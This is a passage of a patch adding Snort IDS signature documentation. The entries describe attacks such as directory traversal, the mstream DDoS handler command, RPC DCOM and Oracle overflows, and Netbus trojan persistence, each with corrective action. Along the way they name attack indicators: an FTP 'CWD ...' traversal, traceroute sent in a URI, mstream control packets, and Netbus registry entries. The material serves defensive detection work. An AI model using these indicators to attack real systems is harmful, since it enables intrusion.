+An attacker may employ a directory traversal technique to escape the
+root directory of a web server in an attempt to access protected system
+files.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/244.txt
+++ snort-2.8.5.2/doc/signatures/244.txt
@@ -0,0 +1,57 @@
+Rule:
+--
+Sid:
+244
+
+--
+Summary:
+This event is generated when a DDoS mstream handler directs an mstream agent to begin an attack against a specified target. 
+
+--
+Impactn:
+Severe. If the listed source IP is in your network, it may be an mstream handler.  If the listed destination IP is in your network, it may be an mstream agent.
+
+--
+Detailed Information:
+The mstream DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack.  There are "handler" hosts that are used to coordinate the attacks and "agent" hosts that launch the attack.  A handler can direct a particular agent to attack a target. It directs the agent by sending it a UDP packet to destination port 10498 with a string of "stream/" in the payload.  The target IP and duration of the attack will also be included in the payload.
+
+--
+Affected Systems:
+Any mstream compromised host.
+
+--
+Attack Scenarios:
+After a host becomes an mstream agent, it will likely be directed to participate in a DDoS attack.
+--
+Ease of Attack:
+Simple. mstream code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+There are other known handler-to-agent ports in addition to 10498.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0138
+
+--
--- snort-2.8.5.2.orig/doc/signatures/821.txt
+++ snort-2.8.5.2/doc/signatures/821.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+821
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2824.txt
+++ snort-2.8.5.2/doc/signatures/2824.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2824
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure set_local_flavor
+. This procedure is included in
+sys.dbms_repcat_fla.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1460.txt
+++ snort-2.8.5.2/doc/signatures/1460.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1460
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1180.txt
+++ snort-2.8.5.2/doc/signatures/1180.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1180
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3369.txt
+++ snort-2.8.5.2/doc/signatures/3369.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3369
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1779.txt
+++ snort-2.8.5.2/doc/signatures/1779.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1779
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a directory traversal vulnerability associated with the Shambala FTP server. 
+
+--
+Impact:
+Information disclosure.  A successful attack may permit the navigation of directories and the viewing of files. 
+
+--
+Detailed Information:
+The Shambala FTP server may be susceptible an a directory traversal attack that permits the navigation and viewing of files in directories other than the intended FTP server's root directory. This exploit is conducted by executing the FTP command "CWD ..." or "cd ...".  This may possibly permit the identification and the viewing of files containing sensitive information.
+
+--
+Affected Systems:
+Shambala 4.5 FTP server running on Windows 95, 98, NT, and Windows 2000.
+
+--
+Attack Scenarios:
+An attacker may attempt to exploit this vulnerability to identify and view files on the vulnerable FTP server. 
+
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version or restrict anonymous FTP user access by assigning appropriate file permissions.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Miscellaneous:
+http://www.securiteam.com/windowsntfocus/5SP011P4KC.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2665.txt
+++ snort-2.8.5.2/doc/signatures/2665.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2665
+
+--
+Summary:
+This event is generated when a remote attacker attempts to exploit a 
+format string vulnerability against an IMAP server.
+
+--
+Impact:
+Serious. A successful format string attack could result in the
+execution of arbitrary code with the same privileges as the user running
+the IMAP daemon.
+
+--
+Detailed Information:
+Some versions of the Courier IMAP daemon are vulnerable to format string
+exploits prior to and during authentication to the IMAP server.  A
+successful exploit attempt could result in the remote attacker gaining
+unauthorized root access to a vulnerable system.
+
+--
+Affected Systems:
+	Courier IMAP server versions 1.6 though 3.0.2
+
+--
+Attack Scenarios:
+A remote attacker could use a publicly available script to exploit the 
+vulnerability an gain control of the target host.
+
+--
+
+Ease of Attack:
+Simple. Exploit code is available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1807.txt
+++ snort-2.8.5.2/doc/signatures/1807.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1807
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/110.txt
+++ snort-2.8.5.2/doc/signatures/110.txt
@@ -0,0 +1,103 @@
+Rule:
+
+--
+Sid:
+110
+
+--
+Summary:
+Netbus is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine. This Trojan also has the ability to scan machines and networks for open ports, it can also redirect legitimate traffic to other destinations. It can turn the infected host into an open proxy server.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+The Trojan changes system registry settings to add the Netbus sever to programs normally started on boot. Due to the nature of this Trojan it is unlikely that the attacker's client IP address has been spoofed.
+
+	SID	Message
+	---	-------
+	109	netbus active (outgoing TCP connection)
+	110	netbus getinfo (incoming TCP connection)
+	115	netbus active (outgoing TCP connection)
+
+Server ports usually opened may be one of the following depending on the version of netbus: 12345, 12346, 20034
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+The manual removal of this Trojan should only be attempted by an experienced Windows system administrator.
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
+
+Registry keys added include:
+
+	Netbus Server Pro
+	PATCH "C:\windows\patch.exe /nomsg" - note: the entry may not necessarily be called PATCH
+	NetBuster = ""
+	SysCopy = "command /c copy %windir%\\keyhook.dl_ %windir%\\*.dll /Y"
+	Rundll32 = "rundll.dl_ /noadd"
+	Rundll = "regedit /s nbsetup2.reg"
+
+Later versions may also add one of these registry entries:
+
+	HKEY_LOCAL_MACHINE/SOFTWARE/UltraAccess Networks/NetBus Server/
+	HKEY_CURRENT_USER/NetBus Server/
+
+These entries should be deleted.
+
+The files rundll.dl_ (note the underscore, this is important) and nbsetup2.reg should be deleted if they exist.
+
+Ending the process is necessary. A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS401
+http://www.whitehats.com/info/IDS403
+
+Hackfix.org
+http://www.hackfix.org/netbusfix/index.shtml
+
+Dark-e Trojan Archive
+http://www.dark-e.com/archive/trojans/netbus/index.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1358.txt
+++ snort-2.8.5.2/doc/signatures/1358.txt
@@ -0,0 +1,53 @@
+Rule: 
+
+--
+Sid: 1358
+
+-- 
+Summary: 
+A web command execution attack involving the use of a "traceroute" command
+
+-- 
+Impact: 
+Possible intelligence gathering activity. 
+
+-- 
+Detailed Information: 
+The attacker may have gained the ability to execute system commands remotely or the web server may be incorrectly configured to allow such access.
+
+This rule generates an event when a "traceroute" command is used over a plain-text (unencrypted) connection on one of the specified web ports to the target web server. The "traceroute" command may be used to perform information gathering activities. The rule looks for the "traceroute" command in the client to web server network traffic but does not indicate whether the command was actually successful. The presence of the "traceroute" command in the URI indicates that an attacker attempted to trick the web server into executing system commands in non-interactive mode i.e. without a valid shell session. 
+
+Alternatively this rule may trigger in an unencrypted HTTP tunneling connection to the server or a shell connection via another exploit against the web server.
+
+-- 
+Attack Scenarios: 
+An attacker uses a "traceroute" command to perform anonymous reconnaissance
+
+--
+Ease of Attack: 
+Simple. No exploit software required
+
+-- 
+False Positives: 
+none known
+
+--
+False Negatives: 
+none known
+
+-- 
+Corrective Action: 
+Check the web server software for vulnerabilities and possible upgrades or patches for the system to the latest version of the web software, also investigate the server logs for signs of compromise
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. Disallowing execution of this binary via a URI is suggested.
+
+--
+Contributors: 
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1796.txt
+++ snort-2.8.5.2/doc/signatures/1796.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1796
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "virgin".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "virgin".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website, or a site about olive oil. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1350.txt
+++ snort-2.8.5.2/doc/signatures/1350.txt
@@ -0,0 +1,47 @@
+Rule:
+
+--
+Sid:
+1350
+
+--
+Summary:
+Attempted python access via web
+
+--
+Impact:
+Attempt to execute a python script on a host.
+
+--
+Detailed Information:
+This is an attempt to execute a python script on a host. Python is a scripting language that is available on a wide variety of platforms. By default Python code runs with full access to all libraries and inbuilt commands available to the language. When combined with the access permissions of the user executing the script, the consequences of running arbitrary code can be devastating
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP transaction that includes a reference to Python in the URI.
+
+--
+Ease of Attack:
+Simple HTTP.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. Python may also be requested on a command line should the attacker gain access to the machine. Whenever possible, all python scripts on the host should be written using the restriceted access mode. This forces Python to execute the scripts in a "sandbox" which will disallow unsafe operations in the code.
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1349
+
+--
--- snort-2.8.5.2.orig/doc/signatures/843.txt
+++ snort-2.8.5.2/doc/signatures/843.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+843
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000148.txt
+++ snort-2.8.5.2/doc/signatures/100000148.txt
@@ -0,0 +1,60 @@
+Rule: 
+
+--
+Sid: 
+100000148
+
+-- 
+Summary: 
+This event is generated when an attempt is made to perform a directory 
+traversal attack against a system running Barracuda Spam Firewall.
+
+-- 
+Impact: 
+Serious. Unauthorized remote command execution possibly leading to remote 
+access.
+
+--
+Detailed Information:
+User supplied data to script parameters are not properly sanitized, this may 
+permit an unauthorized attacker to execute commands of their choosing on an 
+affected system.
+
+Note:
+In order to utilize this rule, port 8000 must be added to the http_inspect 
+configuration in snort.conf.
+
+--
+Affected Systems:
+Barracuda Spam Firewall 3.1.17 and prior.
+
+--
+Attack Scenarios: 
+An attacker can supply commands as parameters to the img.pl script.
+
+-- 
+Ease of Attack: 
+Simple, exploit software exists but is not necessary.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known
+
+-- 
+Corrective Action: 
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3401.txt
+++ snort-2.8.5.2/doc/signatures/3401.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3401
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1002.txt
+++ snort-2.8.5.2/doc/signatures/1002.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid: 1002
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+The HotSaNIC (hotsanic.sourceforge.net) System and Network Info Centre
+can graph the occurence of worms attacks on a server against time. The
+HotSaNIC system displays 'WEB-IIS cmd.exe access ' attempts on the
+server in an image file named thumb-cmd.exe.gif. Each time this image
+is accessed it generates an event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+False positive information contributed by Chris McMahon <chris@mcmahon.co.uk>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2284.txt
+++ snort-2.8.5.2/doc/signatures/2284.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2284
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application MediaWiki running on a server.
+
+--
+Impact:
+Possible execution of arbitrary code and unauthorized administrative
+access to the target system.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application MediaWiki . This application
+does not perform stringent checks when handling user input, this may 
+lead to the attacker being able to execute PHP code and include php files 
+of the attackers choosing.
+
+--
+Affected Systems:
+	MediaWiki MediaWiki-stable 20031107
+	MediaWiki MediaWiki-stable 20030829
+
+--
+Attack Scenarios:
+An attacker can exploit weaknesses to gain access as the administrator 
+by supplying input of their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2988.txt
+++ snort-2.8.5.2/doc/signatures/2988.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+2988
+
+--
+Summary:
+This event is generated when an attempt is made to bind to the Windows
+registry service via SMB. 
+
+--
+Impact:
+Serious. Remote administration of the Windows reqistry may be possible.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to bind to the Windows
+registry service via SMB across the network.
+
+It may be possible for an attacker to manipulate the Windows registry
+from a remote location. This could give the attacker administrative
+privileges on the target host as well as the opportunity to execute code
+of their choosing.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+If the Windows registry is accessible via SMB the attacker can
+manipulate the operating system registry settings.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2118.txt
+++ snort-2.8.5.2/doc/signatures/2118.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2118
+
+--
+Summary:
+This event is generated when a remote user uses invalid data within an
+IMAP LIST command sent to port 143 on an internal server. This may
+indicate an attempt to exploit a buffer overflow vulnerability in the
+IMAP LIST command. This may also affect other IMAP implementations.
+
+Impact:
+Possible shell access on the IMAP server, leading to arbitrary code
+execution. The attacker must have a valid IMAP account on the mail
+server to attempt this exploit.
+
+--
+Detailed Information:
+When a large amount of data is sent to a vulnerable IMAP server in the
+LIST command, a buffer overflow condition may occur. This can allow the
+attacker to access the shell, where arbitrary code can be executed. Note
+that this exploit can only be attempted by a user with a valid IMAP account.
+
+--
+Affected Systems:
+	University of Washington imapd versions 10.234 or 12.264. 
+
+--
+Attack Scenarios:
+An attacker with an IMAP account on the server can send a sufficiently
